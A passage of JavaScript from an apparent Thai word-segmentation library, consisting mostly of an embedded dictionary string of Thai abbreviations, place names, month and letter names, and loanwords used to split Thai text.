this.finalizeDict();\n    }\n  },\n\n  finalizeDict: function(){\n    this.dict = this.sortuniq(this.dict);\n  },\n\n  addFiles: function(files, finalize){\n    finalize = finalize===undefined || finalize;\n    \n    for (var i = 0; i < 1; i++) {\n      words = \"ก.ก.\\nก.ก.น.\\nก.ข.ค.\\nก.ค.\\nก.จ.\\nก.ช.น.\\nก.ฌ.\\nก.ต.\\nก.ต.ง.\\nก.ต.ช.\\nก.ตร.\\nก.ท.\\nก.น.ช.\\nก.บช.\\nก.บถ.\\nก.ป.ส.\\nก.พ.\\nก.ม.\\nก.ย.\\nก.ร.\\nก.ล.ต.\\nก.ว.\\nก.ศ.ว.\\nก.ส.ท.\\nก.ส.ธ.\\nก.ส.อ.\\nก.อ.\\nกก.ตชด.\\nกก.ตร.น.\\nกก.ภ.จว.\\nกก.รสช.\\nกกบ.ขส.ทบ.\\nกกล.รพน.\\nกง.กห.\\nกง.ทบ.\\nกง.ทร.\\nกซข.ป.\\nกซม.ป.\\nกทม.กรุงเทพมหานคร\\nกบ.ทบ.\\nกป.สป.\\nกพ.ทบ.\\nกพ.ทร.\\nกพ.ทหาร\\nกร.ทบ.\\nกรป.กลาง\\nกรอ.พอ.\\nกศ.ด.\\nกศ.บ.\\nกศ.บป.\\nกศ.ม.\\nกษ.ด.\\nกษ.บ.\\nกษ.ม.\\nกส.ด.\\nกส.ทบ.\\nกส.บ.\\nกส.ม.\\nกอ.ปค.\\nกอ.รพน.\\nกอ.รมน.\\nกอ.รสต.\\nข.ต.ว.\\nขว.ทบ.\\nขว.ทร.\\nขว.ทหาร\\nขส.ทบ.\\nขส.ทร.\\nขส.ทอ.\\nค.ด.\\nค.บ.\\nค.พ.ศ.\\nค.ม.\\nค.ร.น.\\nค.ร.ฟ.\\nค.ร.ม.\\nค.ศ.\\nค.อ.ด.\\nค.อ.บ.\\nค.อ.ม.\\nคศ.ด.\\nคศ.บ.\\nคศ.ม.\\nง.ด.\\nจ.จ.\\nจ.จ.จ.\\nจ.ช.\\nจ.ต.\\nจ.ท.\\nจ.ป.ร.\\nจ.ม.\\nจ.ศ.\\nจ.ส.ต.\\nจ.ส.ท.\\nจ.ส.อ.\\nจ.อ.\\nจ.อ.ร.\\nจ.๑๘\\nจก.ธน.\\nจก.สน.\\nช.ค.\\nช.ค.บ.\\nช.พ.ค.\\nช.ส.\\nช.ส.ค.\\nฌ.ป.ค.\\nฌ.ศ.ร.\\nฌ.ส.อ.\\nฐท.สห.\\nด.ช.\\nด.ญ.\\nด.ต.\\nด.ศ.ค.\\nด.ศ.ร.\\nดย.ทร.\\nต.ก.\\nต.ค.\\nต.จ.\\nต.จ.ว.\\nต.ช.\\nต.ต.\\nต.บ.\\nต.ม.\\nต.ร.\\nต.ศ.ร.\\nต.ห.\\nต.อ.\\nต.อ.จ.\\nตร.กม.\\nตร.ซม.\\nตร.ต.\\nตร.ทล.\\nตร.น.\\nตร.ปม.\\nตร.ภ.\\nตร.ม.\\nตร.รฟ.\\nตร.ว.\\nตร.ส.\\nตร.สข.\\nท.จ.\\nท.จ.ว.\\nท.ช.\\nท.ญ.\\nท.ด.\\nท.ท.ท.\\nท.ทบ.\\nท.บ.\\nท.พ.\\nท.ม.\\nท.ศ.\\nทก.ด.\\nทก.บ.\\nทก.ม.\\nทส.ปช.\\nทส.รมว.กห.\\nทุ.ส.นิ.ม.\\nธ.ก.ส.\\nธ.ค.\\nธ.ญ\\nธ.บ.\\nน.ช.\\nน.ญ.\\nน.ด.\\nน.ต.\\nน.ท.\\nน.น.\\nน.บ.\\nน.บ.ท.\\nน.ป.ท.\\nน.พ.\\nน.ม.\\nน.ร.\\nน.ว.\\nน.ศ.\\nน.ส.\\nน.ส.พ.\\nน.ส.๓\\nน.สพ.\\nน.อ.\\nนปพ.ภ.\\nนศ.ด.\\nนศ.บ.\\nนศ.ม.\\nบ.ก.\\nบ.ข.ส.\\nบ.ช.\\nบ.ด.ท.\\nบ.ตร.\\nบ.ภ.\\nบ.ม.\\nบก.จร.\\nบก.ตชด.\\nบก.ตม.\\nบก.ทล.\\nบก.น.\\nบก.ป.\\nบก.ปค.\\nบก.ปม.\\nบก.ภ.เขต\\nบก.รน.\\nบก.รฟ.\\nบก.ร้อย.ตชด.\\nบก.ส.\\nบกข.ป.\\nบจพ.ป.\\nบช.ก.\\nบช.ด.\\nบช.ตชด.\\nบช.น.\\nบช.บ.\\nบช.ปส.\\nบช.ภ.\\nบช.ม.\\nบชท.ป.\\nบชน.ป.\\nบชส.ป.\\nบธ.ด.\\nบธ.บ.\\nบธ.ม.\\nบนท.ป.\\nบนอ.ป.\\nบปช.ป.\\nป.กท.\\nป.กศ.\\nป.กศ.สูง\\nป.จ.\\nป.จ.ว.\\nป.ช.\\nป.ธ.\\nป.ป.\\nป.ป.ก.\\nป.ป.ช.\\nป.ป.ป.\\nป.ป.ร.\\nป.ป.ส.\\nป.พ.\\nป.พ.พ.\\nป.พย.\\nป.ม.\\nป.ม.ก.\\nป.ม.ช.\\nป.ม.ธ.\\nป.ม.ศ.\\nป.ม.อ.\\nป.ร.ร.๔\\nป.ร.ร.๕\\nป.ร.ร.๖\\nป.ล.\\nป.ว.พ.\\nป.วิ.อ.\\nป.ส.ส.\\nป.อ.\\nป.อ.ร.ส.\\nป.๑\\nปม.วส.\\nปอ.พ.\\nผกก.ภ.\\nผช.ผอ.\\nผต.มท.\\nผบ.ตร.\\nผบ.ทบ.\\nผบ.ทร.\\nผบ.ทสส.\\nผบ.ทอ.\\nผบก.น.\\nผบก.ป.\\nผบก.ปค.\\nผบก.ปม.\\nผบก.ภ.\\nผบช.ก.\\nผบช.ตชด.\\nผบช.น.\\nผบช.ภ.\\nผว.กทม.\\nผอ.ปจ.\\nพ.ก.ง.\\nพ.กศ.\\nพ.ข.ต.\\nพ.ค.\\nพ.ค.ช.\\nพ.ค.ว.\\nพ.ค.ศ.\\nพ.จ.ต.\\nพ.จ.ท.\\nพ.จ.อ.\\nพ.ช.\\nพ.ช.ค.\\nพ.ด.\\nพ.ต.\\nพ.ต.ต.\\nพ.ต.ท.\\nพ.ต.อ.\\nพ.ต.อ.พิเศษ\\nพ.ท.\\nพ.บ.\\nพ.ป.\\nพ.ภ.ม.\\nพ.ม.\\nพ.ม.ช.\\nพ.ย.\\nพ.ร.ก.\\nพ.ร.ฎ.\\nพ.ร.ต.\\nพ.ร.ธ.\\nพ.ร.บ.\\nพ.ศ.\\nพ.ศ.บ.\\nพ.ส.ร.\\nพ.ส.ล.\\nพ.อ.\\nพ.อ.ต.\\nพ.อ.ท.\\nพ.อ.พิเศษ\\nพ.อ.อ.\\nพณ.ด.\\nพณ.บ.\\nพณ.ม.\\nพธ.ด.\\nพธ.บ.\\nพธ.ม.\\nพบ.ด.\\nพบ.บ.\\nพบ.ม.\\nพย.ด.\\nพย.บ.\\nพย.ม.\\nพล.จ.\\nพล.ต.\\nพล.ต.จ.\\nพล.ต.ต.\\nพล.ต.ท.\\nพล.ต.อ.\\nพล.ท.\\nพล.ปตอ.\\nพล.ม.\\nพล.ม.๒\\nพล.ร.จ.\\nพล.ร.ต.\\nพล.ร.ท.\\nพล.ร.อ.\\nพล.อ.\\nพล.อ.จ.\\nพล.อ.ต.\\nพล.อ.ท.\\nพล.อ.อ.\\nพลา.ทร.\\nพศ.ด.\\nพศ.บ.\\nพศ.ม.\\nพอ.สว.\\nภ.ง.ด.\\nภ.ง.ด.๙\\nภ.ด.\\nภ.บ.\\nภ.บ.ท.๕\\nภ.ป.ร.\\nภ.พ.\\nภ.ม.\\nภ.สถ.บ.\\nม.ค.\\nม.จ.\\nม.ป.ท.\\nม.ป.ป.\\nม.ป.พ.\\nม.ร.ว.\\nม.ศ.\\nม.อ.\\nม.อ.ปัตตานี\\nมิ.ย.\\nมี.ค.\\nยศ.ทบ.\\nยศ.ทร.\\nยศ.ทอ.\\nร.ง.\\nร.ด.\\nร.ต.\\nร.ต.ต.\\nร.ต.ท.\\nร.ต.อ.\\nร.ท.\\nร.น.\\nร.บ.\\nร.พ.\\nร.ฟ.ล.\\nร.ย.ล.\\nร.ย.ส.ท.\\nร.ล.\\nร.ศ.\\nร.ส.พ.\\nร.อ.\\nรป.ม.\\nรร.จปร.\\nรร.จอ.\\nรร.ชท.\\nรร.ตท.\\nรร.นร.\\nรร.นรต.\\nรร.นอ.\\nล.ญ.\\nล.ว.\\nลส.ชบ.\\nว.ค.\\nว.ฉ.\\nว.ช.\\nว.ด.ป.\\nว.ป.ถ.\\nวท.บ.\\nศ.บ.\\nศ.ป.ก.\\nศ.ศ.ป.\\nศฝร.ภ.\\nศศ.บ.\\nศษ.บ.\\nศส.บ.\\nส.ก.\\nส.ก.ศ.ท.\\nส.ค.\\nส.ค.1\\nส.ค.ร.\\nส.ค.ส.\\nส.ต.\\nส.ต.ต.\\nส.ต.ท.\\nส.ต.อ.\\nส.ท.\\nส.ทร.\\nส.ป.ช.\\nส.ป.ส.ท.\\nส.ป.อ.\\nส.ร.\\nส.ล.น.\\nส.ว.\\nส.ว.ท.\\nส.ว.ส.ท.\\nส.ส.\\nส.ส.ท.\\nส.ส.ร.\\nส.ห.\\nส.อ.\\nสถ.บ.\\nสนง.สสอ.\\nสพ.ญ.\\nสพ.บ.\\nสว.จร.\\nสว.ธร.\\nสว.ส.\\nสว.สป.\\nสว.สส.\\nสว.อก.\\nสส.บ.\\nสุ.จิ.ปุ.ลิ.\\nห.ร.ม.\\nอ.ก.ค.\\nอ.ก.จ.\\nอ.จ.\\nอ.ช.พ.\\nอ.ตร.\\nอ.บ.\\nอ.ส.ท.\\nอ.ส.ม.ท.\\nอ.ส.ย.\\nอ.อ.ป.\\nอส.รด.\\nอุ.อา.ก.ส.\\nฮ.จ.\\nฮ.ท.\\nฮ.ฝ.\\nฮ.ล.\\nฮ.ศ.\\nเม.ย.\\n\\nกรีนิช\\nกลันตัน\\nกัลกัตตา\\nกัวลาลัมเปอร์\\nกัศมีร์\\nกาฐมาณฑุ\\nโกลกาตา\\nควิเบก\\nคอนเนตทิคัต\\nคาบูล\\nคุชราต\\nคุนหมิง\\nเคนตักกี\\nเคนทักกี\\nเคมบริดจ์\\nแคชเมียร์\\nแคนซัส\\nแคนเบอร์รา\\nแคโรไลนา\\nแคลิฟอร์เนีย\\nโคเปนเฮเกน\\nโคลัมโบ\\nโคโลราโด\\nไครสต์เชิร์ช\\nไคโร\\nจาการ์ตา\\nจำปาศักดิ์\\nเจนไน\\nเจนีวา\\nเจ้อเจียง\\nฉงชิ่ง\\nเฉิงตู\\nชานตง\\nชิคาโก\\nเชนไน\\nเชอร์โนบิล\\nซัปโปโร\\nซานมารีโน\\nซาบาห์\\nซาราเยโว\\nซาราวัก\\nซิดนีย์\\nซีอาน\\nซีแอตเทิล\\nซูริก\\nซูริค\\nเซเชลส์\\nเซนได\\nเซี่ยงไฮ้\\nโซเฟีย\\nโซล\\nโซโลมอน\\nไซ่ง่อน\\nไซบีเรีย\\nดัลลัส\\nดาโคตา\\nดานัง\\nดีทรอยต์\\nดูไบ\\nเดนเวอร์\\nเดลาแวร์\\nเดียนเบียนฟู\\nโดเวอร์\\nโดฮา\\nไดฟุกุ\\nไดฟูกุ\\nตรังกานู\\nตริโปลี\\nตูวาลู\\nเตหะราน\\nโตเกียว\\nโตรอนโต\\nทมิฬนาฑู\\nทริโปลี\\nทิเบต\\nเทกซัส\\nเท็กซัส\\nเทนเนสซี\\nเทลอาวีฟ\\nแทสเมเนีย\\nโทรอนโต\\nไทเป\\nธากา\\nนางาซากิ\\nนาริตะ\\nนิวเจอร์ซีย์\\nนิวเดลี\\nนิวยอร์ก\\nนิวยอร์ค\\nนิวแฮมป์เชียร์\\nเนบราสกา\\nเนแบรสกา\\nเนวาดา\\nบรัสเซลส์\\nบราซิเลีย\\nบอมเบย์\\nบอสตัน\\nบังกาลอร์\\nบังคาลอร์\\nบูคาเรสต์\\nบูดาเปสต์\\nเบงกาซี\\nเบนกาซี\\nเบรุต\\nเบลเกรด\\nเบอร์ลิน\\nแบกแดด\\nปอยเปต\\nปะลิส\\nปะหัง\\nปักกิ่ง\\nปัญจาบ\\nปัฏนา\\nปารีส\\nปีนัง\\nเประ\\nเปียงยาง\\nพนมเปญ\\nพระตะบอง\\nพะโค\\nพะสิม\\nพาราณสี\\nพิหารี\\nเพนซิลวาเนีย\\nเพนซิลเวเนีย\\nฟรานซ์\\nฟลอริดา\\nฟิลาเดลเฟีย\\nฟุกุชิมะ\\nฟุกุชิมา\\nฟุกุโอกะ\\nฟูกูโอกะ\\nแฟรงก์เฟิร์ต\\nมอสโก\\nมะนิลา\\nมะละแหม่ง\\nมัณฑะเลย์\\nมัทราส\\nมาดริด\\nมิชิแกน\\nมินนิโซตา\\nมิยางิ\\nมิลาน\\nมิวนิก\\nมิสซูรี\\nมุมไบ\\nเมน\\nเมลเบิร์น\\nเมาะตะมะ\\nเมาะลำเลิง\\nแมนจูเรีย\\nแมนเชสเตอร์\\nแมนฮัตตัน\\nแมริแลนด์\\nแมรีแลนด์\\nแมสซาชูเซตส์\\nยะไข่\\nย่างกุ้ง\\nยูทาห์\\nยูนนาน\\nเยรูซาเล็ม\\nโยโกฮามา\\nริยาด\\nรีโอเดจาเนโร\\nโรดไอแลนด์\\nลอนดอน\\nลอสแองเจลิส\\nลาปาซ\\nลาสเวกัส\\nลิสบอน\\nลุยเซียนา\\nโลซาน\\nโลซานน์\\nวอชิงตัน\\nวอร์ซอ\\nวิสคอนซิน\\nเวนิส\\nเวลส์\\nเวอร์จิเนีย\\nเวอร์มอนต์\\nเวียงจันทน์\\nเวียนนา\\nแวนคูเวอร์\\nไวโอมิง\\nสกอตแลนด์\\nสก็อตแลนด์\\nสตอกโฮล์ม\\nสลังงอร์\\nเสฉวน\\nเสียมราฐ\\nเสียมเรียบ\\nหงสา\\nหงสาวดี\\nหนานไห่\\nหลวงพระบาง\\nหูเป่ย\\nหูเป่ย์\\nหูหนาน\\nเหอเป่ย\\nเหอเป่ย์\\nเหอหนาน\\nอชันตา\\nอลาสกา\\nอวันตี\\nออริกอน\\nออสโล\\nอะแลสกา\\nอัตตะปือ\\nอัมมาน\\nอัมสเตอร์ดัม\\nอัสสัม\\nอาบูดาบี\\nอาร์คันซอ\\nอินเดียนา\\nอิบารากิ\\nอิลลินอยส์\\nอิสตันบูล\\nอิสลามาบัด\\nอุรุมชี\\nอูลานบาตอร์\\nเอดินบะระ\\nเอเธนส์\\nแอตแลนตา\\nแอริโซนา\\nแอลเจียร์\\nโอคลาโฮมา\\nโอค็อตสค์\\nโอกินาวา\\nโอซากา\\nโอริสสา\\nโอเรกอน\\nโอไฮโอ\\nไอดาโฮ\\nไอโอวา\\nฮอนโนลูลู\\nฮานอย\\nฮาเนดะ\\nฮาราเร\\nฮาวาย\\nฮิโรชิมา\\nฮุสตัน\\nเฮลซิงกิ\\n\\nมกรา\\nกุมภา\\nมีนา\\nเมษา\\nพฤษภา\\nมิถุนา\\nกรกฎา\\nสิงหา\\nกันยา\\nตุลา\\nพฤศจิกา\\nธันวา\\nเอ\\nบี\\nซี\\nดี\\nอี\\nเอฟ\\nจี\\nเอช\\nไอ\\nเจ\\nเค\\nแอล\\nเอ็ม\\nเอ็น\\nโอ\\nพี\\nคิว\\nอาร์\\nเอส\\nที\\nยู\\nวี\\nดับเบิล\\nดับบลิว\\nเอ็กซ์\\nเอ๊กซ์\\nวาย\\nแซด\\nแอลฟา\\nแอลฟ่า\\nเบตา\\nเบต้า\\nแกมมา\\nแกมม่า\\nเดลตา\\nเดลต้า\\nโอเมกา\\nโอเมก้า\\nเมกะ\\nกิกะ\\nนาโน\\nไมโคร\\n\\nกรรมาชน\\nกรอบรูป\\nกระดี๊กระด๊า\\nกระบับ\\nกราวนด์\\nกรีน\\nกรุ๊ป\\nกฤษณ์\\nกลาส\\nก๊วน\\nกษัตริยา\\nกษัตริยาธิราช\\nก่อนหน้า\\nกะบับ\\nกับดัก\\nกัมมันตะ\\nก๊าก\\nก๋ากั่น\\nกาญจน์\\nกาญจนาภิเษก\\nกามิกาเซ่\\nการันตี\\nกาหลิบ\\nกิฟท์\\nกิมจิ\\nกีวี\\nกึ๊ก\\nกึ๋ย\\nกุนซือ\\nกุมภาพันธ์\\nกู๋\\nเกจิ\\nเกมส์\\nเกย์\\nเกรด\\nเกรย์\\nเกสต์เฮาส์\\nเก๊ะ\\nเก๋ากี้\\nเกิร์ล\\nแกงค์\\nแกรนด์\\nแกสโซฮอล์\\nแก๊สโซฮอล์\\nโกเต็กซ์\\nโกลด์\\nโกะ\\nโก๊ะ\\nไกด์\\nขั้นตอน\\nเขวี้ยง\\nคณาญาติ\\nครัวซอง\\nครัวซองต์\\nคร่ำครวญ\\nครีเอทีฟ\\nครูเสด\\nคลับ\\nคลาสสิก\\nคลิตอริส\\nคลิป\\nความหมาย\\nควิก\\nควีน\\nคองเกรส\\nคอนซูเมอร์\\nคอนเซปต์\\nคอนเซ็ปต์\\nคอนโด\\nคอนโดมิเนียม\\nคอนเทนเนอร์\\nคอนแทค\\nคอนแท็ค\\nคอนโทรล\\nคอนเฟิร์ม\\nคอปเตอร์\\nคอมพ์\\nคอมเพล็กซ์\\nคอมมอนส์\\nคอมเมนท์\\nคอมเมนต์\\nคอร์ป\\nคอร์ปอเรชั่น\\nคอร์รัปชัน\\nคอร์รัปชั่น\\nคอรัปชัน\\nคอรัปชั่น\\nคอร์ส\\nคอลเล็กชั่น\\nคอลัมน์\\nคอลัมนิสต์\\nคัตเอาต์\\nคันคาก\\nคันถธุระ\\nคันธาระ\\nคันยิ\\nคัสตาร์ด\\nคาราโอเกะ\\nคีตกวี\\nคีตปฏิภาณ\\nคีตราชัน\\nคาปูชิโน\\nคามิคาเซ่\\nคาเฟ่\\nคาร์\\nคาร์โก้\\nคาราเมล\\nคาแรกเตอร์\\nคาแร็กเตอร์\\nคาแรคเตอร์\\nคาแร็คเตอร์\\nคาวบอย\\nคาสิโน\\nคิกขุ\\nคิวบิก\\nคูลเลอร์\\nเคบับ\\nเครป\\nเคลม\\nเคลียร์\\nเคลื่อนย้าย\\nเคส\\nเคอร์ฟิว\\nแคชเชียร์\\nแคทวอล์ค\\nแคนดิเดต\\nแคนตาลูป\\nแคนยอน\\nแคนู\\nแคป\\nแคมป์\\nแคมปัส\\nแคมเปญ\\nแคร์\\nแครกเกอร์\\nแคร็กเกอร์\\nแครอท\\nแคสต์\\nแคสติง\\nแคสติ้ง\\nโค้ก\\nโค้ช\\nโคโยตี\\nโคโยตี้\\nโครนา\\nโคอะล่า\\nโคอาลา\\nโคอาล่า\\nไคลแมกซ์\\nไคลแม็กซ์\\nงั้น\\nง่าว\\nงี้\\nเง็ง\\nโง่เขลา\\nไง\\nจตุคาม\\nจ๊อกกี้\\nจอหงวน\\nจังโก้\\nจัมโบ้\\nจ๊าบ\\nจารกรรม\\nจารชน\\nจิ๊ก\\nจิ๊กโก๋\\nจิ๊กซอว์\\nจิตพิสัย\\nจิตเภท\\nจีดีพี\\nจึ๊ก\\nจุ๊ย\\nจูน\\nจูเนียร์\\nเจ๊\\nเจได\\nเจ็ต\\nเจล\\nเจ๊าะแจ๊ะ\\nเจี๊ยว\\nแจ็กเก็ต\\nแจ๊กเก็ต\\nแจ็กพอต\\nแจ็กพ็อต\\nแจ๊กพอต\\nแจ๊กพ็อต\\nแจม\\nแจ๊ส\\nโจ๋\\nฉลุย\\nเฉิ่ม\\nชนะเลิศ\\nช็อค\\nช็อต\\nช็อป\\nช็อปปิ้ง\\nช็อปเปอร์\\nชะโนด\\nชัตเตอร์\\nชัวร์\\nชาร์จ\\nชาร์ต\\nชาร์ป\\nชินบัญชร\\nชิฟฟอน\\nชีส\\nชีอะห์\\nเช็ก\\nเช็งเม้ง\\nเชฟ\\nเชลียร์\\nเชอร์รี่\\nแชเชือน\\nแช่แข็ง\\nแชมป์\\nแชมปิยอง\\nแชมเปญ\\nแชมเปี้ยน\\nแชมพู\\nโชว์รูม\\nโชห่วย\\nใช้งาน\\nไชน่า\\nซ้อ\\nซอมบี้\\nซะ\\nซังเต\\nซันตาคลอส\\nซัพพลาย\\nซัพพลายเออร์\\nซัมเมอร์\\nซากุระ\\nซาดิสต์\\nซาดิสม์\\nซาตาน\\nซานตาคลอส\\nซาฟารี\\nซาบะ\\nซามูไร\\nซาร์\\nซาร์ดีน\\nซาเล้ง\\nซิง\\nซิ่ง\\nซิงเกิล\\nซิตี\\nซิตี้\\nซินโดรม\\nซิม\\nซิ้ม\\nซิมโฟนี\\nซิมโฟนี่\\nซิลเวอร์\\nซี้\\nซี้ซั้ว\\nซีดาน\\nซีน\\nซีนีเพล็กซ์\\nซีเนียร์\\nซีร็อกซ์\\nซีรีส์\\nซีเรียส\\nซีอีโอ\\nซื่อบื้อ\\nซุนหนี่\\nซุปเปอร์\\nซูชิ\\nซูเปอร์\\nซูม\\nซูโม่\\nซูเอี๋ย\\nซูฮก\\nเซ็กซ์\\nเซ็กซี่\\nเซ็กส์\\nเซนเซอร์\\nเซ็นเซอร์\\nเซนเตอร์\\nเซ็นเตอร์\\nเซ็นทรัล\\nเซนส์\\nเซ่นไหว้\\nเซฟตี้\\nเซรามิก\\nเซลส์\\nเซลส์แมน\\nเซอร์\\nเซอร์ไพรส์\\nเซอร์วิส\\nเซาท์\\nเซี้ยว\\nแซ็ก\\nแซกโซโฟน\\nแซ็กโซโฟน\\nแซนด์วิช\\nแซมบ้า\\nแซลมอน\\nแซว\\nโซเชียล\\nโซน\\nโซนี่\\nโซลาร์\\nโซโล\\nโซโล่\\nญาณทัสสนะ\\nดยุก\\nดยุค\\nดร็อป\\nดรัมเมเยอร์\\nดรามา\\nดราม่า\\nดอกเตอร์\\nด็อกเตอร์\\nดัมพ์\\nดั๊มพ์\\nดาวน์\\nดิกชันนารี\\nดิสเครดิต\\nดีกรี\\nดีเจ\\nดีไซน์\\nดีไซน์เนอร์\\nดีไซเนอร์\\nดีเบต\\nดีพาร์ตเมนต์\\nดีพาร์ตเมนท์\\nดีพาร์ทเมนต์\\nดีพาร์ทเมนท์\\nดีมานด์\\nดีล\\nดีลเลอร์\\nดีเลย์\\nเดชานุภาพ\\nเดบิต\\nเดโม\\nเดย์\\nเด้อ\\nเดอะ\\nเด๊ะ\\nเดี้ยง\\nเดี๊ยะ\\nแดนซ์\\nแดนเซอร์\\nแดรี่\\nโดนัท\\nโดมิโน\\nโดรายากิ\\nไดเอ็ต\\nตถตา\\nตนเอง\\nตรวจทาน\\nตรวจสอบ\\nตอกย้ำ\\nต๊อง\\nต่อยอด\\nต่อรอง\\nตะหงิด\\nตังค์\\nตันเถียน\\nตัวตน\\nตัวเอง\\nตาปรือ\\nต้าอ่วย\\nติงต๊อง\\nติ๋ม\\nติ่มซำ\\nติว\\nติวเตอร์\\nตี๋\\nตื้บ\\nตุ๊ก\\nตุ๊กตุ๊ก\\nตุ๊ด\\nตุ๋ย\\nตู้เซฟ\\nเต๊ะ\\nเตี๊ยม\\nแตงกวา\\nแตงโม\\nแต๋ว\\nโต๋เต๋\\nโต๊ะจีน\\nไตรมาส\\nถ่ายทำ\\nถูกต้อง\\nทงคัตสึ\\nทริป\\nทรู\\nทอม\\nท็อป\\nทอร์นาโด\\nทอล์ค\\nทักซิโด\\nทันตกรรม\\nทันตแพทยศาสตร์\\nทับซ้อน\\nทัวร์\\nทัวร์นาเมนต์\\nทัวร์นาเมนท์\\nทัวริสต์\\nทาเลนต์\\nทาวน์\\nทาวน์เฮาส์\\nทำงาน\\nทิป\\nทิพยสมบัติ\\nทิวลิป\\nทีรามิสุ\\nทีวี\\nทูน่า\\nเท็กซ์\\nเทค\\nเทคโน\\nเทคโนแครต\\nเทควันโด\\nเทป\\nเทรด\\nเทรนด์\\nเทรนเนอร์\\nเทรลเลอร์\\nเทรลเล่อร์\\nเทเลกราฟ\\nเทวบัญชา\\nเทวบุตร\\nเทวา\\nเทวาธิราช\\nเทโวโรหนะ\\nเทอร์โบ\\nเที่ยงคืน\\nเที่ยงวัน\\nเทียมทาน\\nแทกติค\\nแทคติค\\nแทงกั๊ก\\nแทงโก้\\nโทมาฮอก\\nโทมาฮอว์ก\\nโทมาฮอว์ค\\nโทร\\nโทรโข่ง\\nไทม์\\nไทยแลนด์\\nไทเฮา\\nธรรมา\\nธรรมาภิบาล\\nธัมโม\\nธีม\\nธุรกรรม\\nธุหร่ำ\\nเธค\\nนพมาศ\\nนรีแพทย์\\nน็อก\\nน็อค\\nน้องใหม่\\nนอมินี\\nนอร์ท\\nน่ะ\\nนางแบบ\\nนาฏยศาลา\\nนายแบบ\\nนายพราน\\nนินจา\\nนิรันดร์\\nนิว\\nนิวส์\\nนู้ด\\nเนอะ\\nเนิร์สเซอรี\\nเนิร์สเซอรี่\\nเนี้ยบ\\nโนติส\\nไนท์\\nไนน์\\nบรรพชน\\nบร็อกโคลี\\nบร็อคโคลี\\nบรา\\nบริกร\\nบริวเวอรี่ส์\\nบลอนด์\\nบลูเบอร์รี\\nบลูเบอร์รี่\\nบ๊วย\\nบอกซ์\\nบ็อกซ์\\nบ๊อกซ์\\nบอดี้\\nบอนด์\\nบ๊อบ\\nบอมบ์\\nบ๋อย\\nบอยคอต\\nบอยคอตต์\\nบอร์ด\\nบังเกอร์\\nบัตเตอร์\\nบัลลาสต์\\nบัส\\nบาบูน\\nบาร์บีคิว\\nบาร์บี้\\nบาลานซ์\\nบิ๊ก\\nบิล\\nบึม\\nบึ้ม\\nบุญคุณ\\nบุ๋น\\nบุปผา\\nบู๊\\nบูชิโด\\nบูติก\\nบูติค\\nบูม\\nเบเกอรี่\\nเบญจมบพิตร\\nเบตาดีน\\nเบนโตะ\\nเบนโล\\nเบบี้\\nเบลอ\\nเบอร์เกอร์\\nเบอร์รี\\nเบิร์ด\\nเบิร์น\\nแบ็กโฮ\\nแบคโฮ\\nแบด\\nแบต\\nแบนเนอร์\\nแบรนด์\\nแบล็ก\\nแบล็ค\\nไบโอ\\nโบกี้\\nโบตั๋น\\nโบ้ย\\nโบรกเกอร์\\nโบรชัวร์\\nโบว์\\nโบว์ลิ่ง\\nไบเบิล\\nปฏิสัมพันธ์\\nป๊อก\\nปอดแหก\\nป๊อป\\nป๋อหลอ\\nปักขคณนา\\nปัจเจกชน\\nปัจฉิมนิเทศ\\nป๊า\\nป๋า\\nป่าไม้\\nปาร์ตี้\\nปาสกาล\\nปาสคาล\\nปาสเตอร์\\nปิกอัพ\\nปิ๊ง\\nปิโตรเคมี\\nปิยมิตร\\nปึ้ก\\nปูอัด\\nเปโซ\\nเป็นไง\\nเปปเปอร์มินต์\\nเปเปอร์\\nเปราะบาง\\nเป๊ะ\\nเป่ายิงฉุบ\\nเป่ายิ้งฉุบ\\nเปียโน\\nแป้ก\\nแป๋ว\\nแป๊ะเจี๊ยะ\\nโปร\\nโปรเจกต์\\nโปรเจ็กต์\\nโปรเจกเตอร์\\nโปรเจ็กเตอร์\\nโปรเจคท์\\nโปรเจ็คท์\\nโปรดักชั่น\\nโปรดิวเซอร์\\nโปรโมชั่น\\nโปรโมต\\nโปรโมเตอร์\\nโปรโมท\\nโปลิศ\\nโปสเตอร์\\nผลไม้\\nผลักดัน\\nผ้าห่ม\\nผิดพลาด\\nผู้นำ\\nแผดเผา\\nเฝอ\\nพงษ์\\nพริตตี้\\nพรีเซนต์\\nพรีเซ็นเตอร์\\nพรีเมียม\\nพรีเมียร์\\nพฤหัส\\nพล็อต\\nพลาซ่า\\nพลานุภาพ\\nพ่อค้า\\nพอเพียง\\nพะเรอ\\nพันธกิจ\\nพันธุวิศวกรรม\\nพาร์\\nพาร์ตเนอร์\\nพาร์ทเนอร์\\nพาวเวอร์\\nพาสเจอร์ไรส์\\nพาสตา\\nพาสต้า\\nพาสปอร์ต\\nพาเหรด\\nพิซซ่า\\nพีเรียด\\nพุดดิ้ง\\nพุทธภูมิ\\nพุทธศตวรรษ\\nพุทโธ\\nพูล\\nเพทนาการ\\nเพนกวิน\\nเพนตากอน\\nเพรส\\nเพรียวบาง\\nเพลซ\\nเพลท\\nเพลย์บอย\\nเพียบแปร้\\nเพียว\\nเพาเวอร์\\nแพกเกจ\\nแพ็ค\\nแพตเทิร์น\\nแพทเทิร์น\\nแพทยสภา\\nแพนงเชิญ\\nแพนดา\\nแพนด้า\\nแพลน\\nโพลล์\\nโพลารอยด์\\nโพสต์\\nไพลิน\\nฟยอร์ด\\nฟรังก์\\nฟรุต\\nฟลอร์\\nฟลุก\\nฟลุค\\nฟลุต\\nฟลุท\\nฟอยล์\\nฟอร์ม\\nฟันด์\\nฟาวล์\\nฟาสต์ฟู้ด\\nฟินิกซ์\\nฟิวเจอร์\\nฟีด\\nฟีเวอร์\\nฟุตบาท\\nเฟรช\\nเฟรชชี่\\nเฟรม\\nเฟมินิสต์\\nเฟส\\nเฟอร์นิเจอร์\\nเฟอร์รี่\\nเฟิร์ม\\nเฟี้ยวฟ้าว\\nแฟกซ์\\nแฟ็กซ์\\nแฟนซี\\nแฟนตาซี\\nแฟ้บ\\nแฟร์\\nแฟรนไชส์\\nแฟรี\\nแฟรี่\\nแฟลช\\nแฟล็ต\\nโฟน\\nโฟม\\nโฟล์ค\\nไฟต์\\nไฟแนนซ์\\nไฟลต์\\nไฟลท์\\nภควัทคีตา\\nภควัมบดี\\nภควัมปติ\\nภคันทลาพาธ\\nภววิสัย\\nภารตะ\\nภูมิทัศน์\\nม้ง\\nมวลชน\\nมยุราภิรมย์\\nมลภาวะ\\nมหภาค\\nมหาอุปราชา\\nมอคคา\\nมอคค่า\\nมอนสเตอร์\\nม็อบ\\nมอบตัว\\nมอยส์เจอไรเซอร์\\nมอลล์\\nมะกัน\\nมั้ง\\nมัฟฟิน\\nมั้ย